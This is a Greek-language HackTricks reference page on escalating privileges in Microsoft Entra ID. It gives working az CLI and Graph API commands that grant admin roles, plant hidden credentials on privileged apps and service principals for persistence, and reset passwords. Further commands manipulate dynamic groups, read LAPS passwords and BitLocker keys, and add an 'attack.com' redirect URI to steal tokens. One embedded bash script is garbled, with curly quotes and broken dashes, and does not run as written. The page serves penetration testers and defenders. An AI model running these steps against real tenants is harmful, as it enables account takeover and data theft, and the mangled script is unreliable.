Az - EntraID Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Note
Σημειώστε ότι όχι όλες οι λεπτομερείς άδειες που έχουν οι ενσωματωμένοι ρόλοι στο Entra ID είναι επιλέξιμες για χρήση σε προσαρμοσμένους ρόλους.
Ρόλοι
Role: Privileged Role Administrator
Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να είναι δυνατή η ανάθεση ρόλων σε principals και η παροχή περισσότερων δικαιωμάτων σε ρόλους. Και οι δύο ενέργειες μπορούν να καταχραστούν για να escalate privileges.
- Ανάθεση ρόλου σε χρήστη:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Προσθέστε περισσότερα permissions σε ένα role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Εφαρμογές
microsoft.directory/applications/credentials/update
Αυτό επιτρέπει σε έναν επιτιθέμενο να add credentials (passwords or certificates) σε υπάρχουσες εφαρμογές. Εάν η εφαρμογή έχει privileged permissions, ο επιτιθέμενος μπορεί να authenticate ως εκείνη την εφαρμογή και να αποκτήσει privileges.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Αυτό επιτρέπει τις ίδιες ενέργειες με applications/credentials/update, αλλά αφορά αποκλειστικά εφαρμογές ενός μόνο καταλόγου.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Προσθέτοντας τον εαυτό τους ως owner, ένας επιτιθέμενος μπορεί να χειριστεί την εφαρμογή, συμπεριλαμβανομένων των credentials και των permissions.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Ένας επιτιθέμενος μπορεί να προσθέσει ένα redirect URI σε applications που χρησιμοποιούνται από users του tenant και στη συνέχεια να μοιραστεί μαζί τους login URLs που χρησιμοποιούν το νέο redirect URL προκειμένου να κλέψει τα tokens τους. Σημειώστε ότι αν ο user ήταν ήδη logged in στην application, η authentication θα γίνει αυτόματα χωρίς ο user να χρειάζεται να αποδεχθεί οτιδήποτε.
Σημειώστε επίσης ότι είναι δυνατό να αλλάξουν τα permissions που ζητά η application για να αποκτήσει περισσότερα permissions, αλλά σε αυτή την περίπτωση ο user θα χρειαστεί να αποδεχθεί ξανά το prompt που ζητάει όλες τις permissions.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Εφαρμογές Privilege Escalation
Όπως εξηγείται στο this post ήταν πολύ συνηθισμένο να βρίσκονται προεπιλεγμένες εφαρμογές που έχουν API permissions τύπου Application εκχωρημένα σε αυτές. Μία API Permission (όπως αναφέρεται στην κονσόλα Entra ID) τύπου Application σημαίνει ότι η εφαρμογή μπορεί να έχει πρόσβαση στο API και να εκτελεί ενέργειες χωρίς context χρήστη (χωρίς ένας χρήστης να κάνει login στην εφαρμογή), και χωρίς να χρειάζεται ρόλους Entra ID για να της το επιτρέψουν. Επομένως, είναι πολύ συνηθισμένο να βρίσκει κανείς εφαρμογές με υψηλά προνόμια σε κάθε Entra ID tenant.
Στη συνέχεια, αν ένας attacker έχει οποιοδήποτε permission/role που του επιτρέπει να update the credentials (secret o certificate) of the application, ο attacker μπορεί να δημιουργήσει ένα νέο credential και μετά να το χρησιμοποιήσει για να authenticate as the application, αποκτώντας όλα τα permissions που έχει η εφαρμογή.
Σημειώστε ότι το αναφερόμενο blog μοιράζεται μερικά API permissions κοινών Microsoft default applications, ωστόσο λίγο μετά από αυτό το report η Microsoft διόρθωσε αυτό το ζήτημα και τώρα δεν είναι δυνατό να κάνεις login ως Microsoft applications πια. Παρ’ όλα αυτά, εξακολουθεί να είναι πιθανό να βρει κανείς custom applications με υψηλά προνόμια που θα μπορούσαν να καταχραστούν.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Βρείτε όλα τα API permissions των εφαρμογών και επισημάνετε τις Microsoft-owned APIs
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει credentials σε υπάρχοντες service principals. Εάν ο service principal έχει αυξημένα προνόμια, ο επιτιθέμενος μπορεί να αναλάβει αυτά τα προνόμια.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
Ο νέος κωδικός που δημιουργείται δεν θα εμφανιστεί στην web console, οπότε αυτό μπορεί να είναι ένας stealth τρόπος για να διατηρήσετε persistence σε ένα service principal.
Από το API μπορούν να βρεθούν με:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Εάν λάβετε το σφάλμα "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." είναι επειδή δεν είναι δυνατή η τροποποίηση της ιδιότητας passwordCredentials του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (microsoft.directory/applications/allProperties/update) που σας επιτρέπει να εκτελέσετε:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Αυτό επιτρέπει σε έναν attacker να προσθέσει credentials σε υπάρχοντες service principals. Αν ο service principal έχει αυξημένα προνόμια, ο attacker μπορεί να αναλάβει αυτά τα προνόμια.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Παρόμοια με τις εφαρμογές, αυτή η άδεια επιτρέπει την προσθήκη περισσότερων owners σε ένα service principal. Η ιδιοκτησία ενός service principal επιτρέπει τον έλεγχο των διαπιστευτηρίων και των δικαιωμάτων του.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Μετά την προσθήκη ενός νέου ιδιοκτήτη, προσπάθησα να τον αφαιρέσω αλλά το API απάντησε ότι η μέθοδος DELETE δεν υποστηρίζεται, ακόμα κι αν είναι η μέθοδος που πρέπει να χρησιμοποιήσετε για να διαγράψετε τον ιδιοκτήτη. Επομένως δεν μπορείτε να αφαιρείτε ιδιοκτήτες σήμερα.
microsoft.directory/servicePrincipals/disable και enable
Αυτές οι άδειες επιτρέπουν την απενεργοποίηση και ενεργοποίηση των service principals. Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτήν την άδεια για να ενεργοποιήσει ένα service principal στο οποίο θα μπορούσε με κάποιον τρόπο να αποκτήσει πρόσβαση, προκειμένου να κλιμακώσει τα προνόμια.
Σημειώστε ότι για αυτήν την τεχνική ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες για να αναλάβει τον ενεργοποιημένο service principal.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Αυτά τα δικαιώματα επιτρέπουν τη δημιουργία και την ανάκτηση διαπιστευτηρίων για single sign-on, κάτι που μπορεί να δώσει πρόσβαση σε εφαρμογές τρίτων.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Ομάδες
microsoft.directory/groups/allProperties/update
Αυτό το δικαίωμα επιτρέπει την προσθήκη χρηστών σε privileged groups, οδηγώντας σε privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Σημείωση: Αυτό το δικαίωμα εξαιρεί τις role-assignable groups του Entra ID.
microsoft.directory/groups/owners/update
Αυτό το δικαίωμα επιτρέπει να γίνει κάποιος owner ομάδων. Ένας owner ομάδας μπορεί να ελέγχει τη σύνθεση της ομάδας και τις ρυθμίσεις, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων για την ομάδα.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Σημείωση: Αυτή η άδεια εξαιρεί τις Entra ID role-assignable groups.
microsoft.directory/groups/members/update
Αυτή η άδεια επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε προνομιακές ομάδες, παρέχοντας αυξημένη πρόσβαση.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα συμμετοχής σε μια δυναμική ομάδα. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τους δυναμικούς κανόνες ώστε να συμπεριλάβει τον εαυτό του σε προνομιούχες ομάδες χωρίς ρητή προσθήκη.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Σημείωση: Αυτή η άδεια εξαιρεί τα Entra ID role-assignable groups.
Dynamic Groups Privesc
Ενδέχεται να είναι δυνατό για χρήστες να escalate privileges τροποποιώντας τις δικές τους ιδιότητες ώστε να προστεθούν ως μέλη των dynamic groups. Για περισσότερες πληροφορίες δείτε:
Χρήστες
microsoft.directory/users/password/update
Αυτή η άδεια επιτρέπει την επαναφορά κωδικού σε χρήστες χωρίς δικαιώματα διαχειριστή, επιτρέποντας σε έναν πιθανό επιτιθέμενο να escalate privileges σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε προσαρμοσμένους ρόλους.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Αυτή η άδεια επιτρέπει την τροποποίηση των ιδιοτήτων του χρήστη. Είναι συνηθισμένο να υπάρχουν δυναμικές ομάδες που προσθέτουν χρήστες με βάση τις τιμές ιδιοτήτων, επομένως αυτή η άδεια θα μπορούσε να επιτρέψει σε έναν χρήστη να ορίσει την απαιτούμενη τιμή ιδιότητας ώστε να γίνει μέλος μιας συγκεκριμένης δυναμικής ομάδας και να αυξήσει τα προνόμιά του.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Λανθασμένα διαμορφωμένες conditional access policies που απαιτούν MFA μπορούν να παρακαμφθούν, έλεγξε:
Az - Conditional Access Policies & MFA Bypass
Συσκευές
microsoft.directory/devices/registeredOwners/update
Αυτό το δικαίωμα επιτρέπει σε attackers να αναθέσουν στον εαυτό τους την ιδιότητα ιδιοκτήτη συσκευών, ώστε να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα ειδικά για τη συσκευή.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Αυτή η άδεια επιτρέπει σε attackers να συσχετίσουν τον λογαριασμό τους με συσκευές για να αποκτήσουν πρόσβαση ή να παρακάμψουν πολιτικές ασφαλείας.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Αυτή η άδεια επιτρέπει σε επιτιθέμενους να διαβάζουν τις ιδιότητες των αντιγραμμένων credentials του τοπικού λογαριασμού διαχειριστή για συσκευές ενωμένες με Microsoft Entra, συμπεριλαμβανομένου του password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Αυτό το δικαίωμα επιτρέπει την πρόσβαση στα κλειδιά BitLocker, κάτι που θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να αποκρυπτογραφήσει δίσκους, συμβιβάζοντας την εμπιστευτικότητα των δεδομένων.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Άλλα Ενδιαφέροντα Δικαιώματα (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

